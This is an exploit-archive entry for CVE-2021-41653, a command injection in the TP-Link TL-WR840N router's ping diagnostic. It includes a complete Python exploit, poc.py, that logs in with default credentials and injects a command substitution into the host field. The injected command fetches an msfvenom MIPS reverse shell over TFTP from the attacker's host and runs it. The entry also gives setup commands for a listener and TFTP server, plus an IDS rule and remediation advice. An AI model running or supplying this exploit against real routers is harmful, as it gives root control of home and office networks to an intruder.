PoC Archive PoC Archive
CVE-2021-41653 category: network CVSS 9.8 (CRITICAL) EPSS 76%
Unverified

TP-Link TL-WR840N EU v5 PING Diagnostic Command Injection RCE (CVE-2021-41653)

Published: 2026-11-27 • Researcher: Matek Kamillo (k4m1ll0), original exploit author; repository mirrored by likeww

Target software TP-Link TL-WR840N EU v5 router firmware, PING diagnostic web function
Affected versions Firmware through TL-WR840N(EU)_V5_171211 (NVD CPE range EndIncluding that build)
Status Weaponized
Severity Critical · CVSS 9.8
CVSS 9.8/10

Exploitation signals

EPSS 76%

EPSS 76.0% · 100th percentile

Severity
Critical
CVE
CVE-2021-41653
Category
network
Affected product
TP-Link TL-WR840N EU v5 router firmware, PING diagnostic web function
Affected versions
Firmware through TL-WR840N(EU)_V5_171211 (NVD CPE range EndIncluding that build)
Disclosed
2026-11-27
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2021-11-28
Author / ResearcherMatek Kamillo (k4m1ll0), original exploit author; repository mirrored by likeww
CVE / AdvisoryCVE-2021-41653
Categorynetwork
SeverityCritical
CVSS Score9.8 (CVSSv3.1, NVD); 10.0 (CVSSv2, NVD); EPSS 0.760
StatusWeaponized
TagsTP-Link, TL-WR840N, router, command-injection, ping, diagnostics, CGI, MIPS, reverse-shell, CWE-94
RelatedN/A

Affected Target

FieldValue
Software / SystemTP-Link TL-WR840N EU v5 router firmware, PING diagnostic web function
Versions AffectedFirmware through TL-WR840N(EU)_V5_171211 (NVD CPE range EndIncluding that build)
Language / PlatformEmbedded Linux on MIPS little-endian; web CGI interface on http://192.168.1.1/cgi
Authentication RequiredYes (administrator login on the router web interface; factory credentials are admin/admin and are commonly unchanged)
Network Access RequiredYes (LAN access to the router management interface; remote management widens this)

Summary

The PING diagnostic function of the TP-Link TL-WR840N EU v5 web interface passes the host value from an IPPING diagnostic request straight into a shell command without sanitising shell metacharacters. An attacker who can reach the management interface can inject a command substitution into the host field, then start the diagnostic with the activation request, causing the router to fetch and run a MIPS payload. The repository contains a complete Python exploit that builds a MIPS little-endian reverse shell with msfvenom, delivers it over TFTP and triggers the injection.

Vulnerability Details

Root Cause

The router’s HTTP CGI implements a diagnostics API over the /cgi endpoint. For the IPPING diagnostic, the client posts a text block that begins with IPPING_DIAG and includes a host= line, and the firmware interpolates that host value into the ping command it runs through the system shell. There is no validation that the value is an IP address or hostname, so shell syntax such as $(…) and backticks survives into the command line. Two requests are needed: one to queue the diagnostic parameters and one ACT_OP_IPPING request that starts it. The underlying flaw is code injection of untrusted input into a shell command (CWE-94), which is why a crafted IP address field is enough to run arbitrary commands.

Attack Vector

An authenticated HTTP POST to http://192.168.1.1/cgi?2 whose body is a text/plain IPPING_DIAG structure with host set to a command substitution, followed by a POST to http://192.168.1.1/cgi?7 carrying ACT_OP_IPPING. The exploit sets a Referer of http://192.168.1.1/mainFrame.htm and the Authorization cookie built from Basic credentials, mirroring what the router’s own management page sends.

Impact

Arbitrary command execution on the router with the privileges of the diagnostic service, which on these firmware builds is root. An attacker can read the router configuration and stored credentials, alter DNS, firewall and port-forwarding rules, redirect or intercept LAN traffic, and use the device as a persistent foothold inside the network. Confidentiality, integrity and availability of the network segment are compromised.

Environment / Lab Setup

Output
OS:          Linux attacker host on the same LAN as the router
Target:      TP-Link TL-WR840N EU v5 with firmware TL-WR840N(EU)_V5_171211, 192.168.1.1
Attacker:    Linux with Python 3, msfvenom from Metasploit, and a TFTP server
Tools:       Python 3, requests, msfvenom, atftpd or tftpd-hpa, netcat listener

Setup Steps

Shell script
1
2
3
4
5
6
sudo mkdir -p /srv/tftp && sudo chown $USER /srv/tftp
sudo atftpd --daemon --port 69 /srv/tftp

nc -lvnp 2000

python3 poc.py

The physical router (or a full firmware emulation) is required; the firmware image and msfvenom payload are not archived here. Edit the ATTACKER_IP, PATH and COMMAND constants in poc.py to match the lab before running.

Proof of Concept

Step-by-Step Reproduction

  1. Prepare the attacker host — Start the TFTP server rooted at /srv/tftp and a listener on TCP 2000.

  2. Generate the payload — poc.py calls msfvenom for a linux/mipsle/shell/reverse_tcp payload with LHOST set to ATTACKER_IP and LPORT 2000, writing /srv/tftp/shell.

    Shell script
    1
    
    msfvenom -p linux/mipsle/shell/reverse_tcp -f elf LHOST=192.168.1.101 LPORT=2000 -o /srv/tftp/shell
  3. Send the injected diagnostic — The host field carries a command substitution that downloads the payload to /var/tmp/shell, marks it executable and runs it, with a harmless ping to 127.0.0.1 first so the command looks plausible.

    Shell script
    1
    
    python3 poc.py
  4. Trigger execution — The second request starts the diagnostic and the injected command executes, producing a shell on the listener.

Exploit Code

See poc.py in this folder.

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
COMMAND = "$(echo 127.0.0.1; tftp -g -r shell -l /var/tmp/shell " + ATTACKER_IP + "; chmod +x /var/tmp/shell; /var/tmp/shell)"

data = '[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\r\n'
data += 'dataBlockSize=64\r\n'
data += 'timeout=1\r\n'
data += 'numberOfRepetitions=4\r\n'
data += 'host=' + self.command + '\r\n'
data += 'X_TP_ConnName=ewan_ipoe_d\r\n'
data += 'diagnosticsState=Requested\r\n'
session.post("http://192.168.1.1/cgi?2", headers=headers, data=data, cookies=cookies)

session.post("http://192.168.1.1/cgi?7", headers=headers,
             data='[ACT_OP_IPPING#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n')

Expected Output

Output
Generating reverse shell.

The script itself prints little; success is the router fetching /shell over TFTP and the reverse shell landing on the listener:

Output
$ nc -lvnp 2000
Connection received on 192.168.1.1:41372

A direct proof of command execution can be obtained by replacing the payload with a command that writes output to a file retrievable from the web interface, or by pointing the payload at a listener that echoes a marker.

Detection & Indicators of Compromise

Output
POST /cgi?2 HTTP/1.1
Referer: http://192.168.1.1/mainFrame.htm
Content-Type: text/plain

[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6
host=$(echo 127.0.0.1; tftp -g -r shell -l /var/tmp/shell ATTACKER_IP; ...)

POST /cgi?7 HTTP/1.1
[ACT_OP_IPPING#0,0,0,0,0,0#0,0,0,0,0,0]0,0

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"CVE-2021-41653 TP-Link ping diagnostic command injection"; flow:to_server,established; content:"IPPING_DIAG"; http_client_body; pcre:"/host=[^\r\n]*(\$\(|`|;|\|)/i"; reference:cve,2021-41653; sid:9002104;)

Remediation

ActionDetail
PatchUpgrade the router to firmware newer than TL-WR840N(EU)_V5_171211, or replace the end-of-life device with a supported model; check the TP-Link security advisory page for the fixed build.
WorkaroundChange the factory admin password, disable remote management and UPnP where not needed, and restrict the web interface to a trusted management VLAN.
Config HardeningKeep router firmware current, do not expose the management UI to the internet, monitor for unexpected TFTP activity and outbound connections from network devices, and segment IoT and router management traffic.

References

Notes

Auto-prepared on 2026-11-27 from https://github.com/likeww/CVE-2021-41653 (stars 0, latest commit dated 2021-11-28).

Review verdict: ingested. The repository is a thin mirror of the original k4m1ll0 exploit, and the code performs the vulnerability rather than checking for it: it forges the authenticated diagnostic request with a command substitution in the host field, starts the diagnostic, and delivers a running MIPS reverse shell. The only auxiliary code is msfvenom payload generation and a TFTP fetch, both directly in service of the exploit; there is no C2 framework, persistence, evasion or credential-stealing module.

License: the repository has no LICENSE file; copyright remains with Matek Kamillo. The upstream README is a short pointer to the original write-up and is preserved verbatim as upstream-README.md, with attribution and the source URL retained and an archive header added to the script.

Limitations: the exploit assumes a fixed router address (192.168.1.1) and hard-coded ATTACKER_IP, PASSWORD and payload path, so those constants must be edited for a real lab. It requires valid administrator credentials, so it demonstrates post-authentication code execution with default or reused credentials rather than a pre-auth flaw. It also needs msfvenom, a TFTP server and a linux/mipsle payload, and the firmware itself is not archived because it is a binary image. Writing to /var/tmp and executing from there depends on the firmware layout. No exploit was executed during preparation of this entry.

poc.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/python3
# Archived for authorized security research only.
# Source: https://github.com/likeww/CVE-2021-41653 (see README for attribution/license)
###############################################################
### tplink_TL-WR840N-EU-v5-rce-exploit_v1.py 
### Version: 1.0
### Author: Matek Kamillo (k4m1ll0)
### Email: matek.kamillo@gmail.com
### Date: 2021.09.06.
##############################################################

import requests
import os
import base64

USERNAME = "admin"
PASSWORD = "admin"
URL = "http://192.168.1.1/cgi"
PATH = "/srv/tftp/shell"
ATTACKER_IP = "192.168.1.101"
COMMAND = "$(echo 127.0.0.1; tftp -g -r shell -l /var/tmp/shell " + ATTACKER_IP + "; chmod +x /var/tmp/shell; /var/tmp/shell)"

def base64_encode(s):
    msg_bytes = s.encode('ascii')
    return base64.b64encode(msg_bytes)


class Exploit(object):
    def __init__(self, username, password, command):
        self.username = username
        self.password = password
        self.command = command

        self.URL = "http://192.168.1.1/cgi"
        self.session = requests.session()
        #self.proxies = { 'http' : 'http://192.168.1.100:8080'}
        self.proxies = { }
        self.cookies = { 'Authorization' : 'Basic ' + base64_encode(username + ":" + password).decode('ascii') }
        self.headers = { 'Content-Type': 'text/plain', 'Referer' : 'http://192.168.1.1/mainFrame.htm' }

    def _prepare(self):
        print("Generating reverse shell.")
        command = "msfvenom -p linux/mipsle/shell/reverse_tcp -f elf LHOST=" + ATTACKER_IP + " LPORT=2000 -o " + PATH
        os.system(command)

    def _send_ping_command(self):
        URL = self.URL + '?2'
        data = '[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\r\n'
        data += 'dataBlockSize=64\r\n'
        data += 'timeout=1\r\n'
        data += 'numberOfRepetitions=4\r\n'
        data += 'host=' + self.command + '\r\n'
        data += 'X_TP_ConnName=ewan_ipoe_d\r\n'
        data += 'diagnosticsState=Requested\r\n'
        r = self.session.post(URL, headers=self.headers, data=data, cookies=self.cookies, proxies=self.proxies)

    def _send_execute_command(self):
        URL = self.URL + '?7'
        data = '[ACT_OP_IPPING#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n'
        r = self.session.post(URL, headers=self.headers, data=data, cookies=self.cookies, proxies=self.proxies)
        
    def execute(self):
        self._prepare()
        self._send_ping_command()
        self._send_execute_command()

if __name__ == "__main__":
    e = Exploit(USERNAME, PASSWORD, COMMAND)
    e.execute()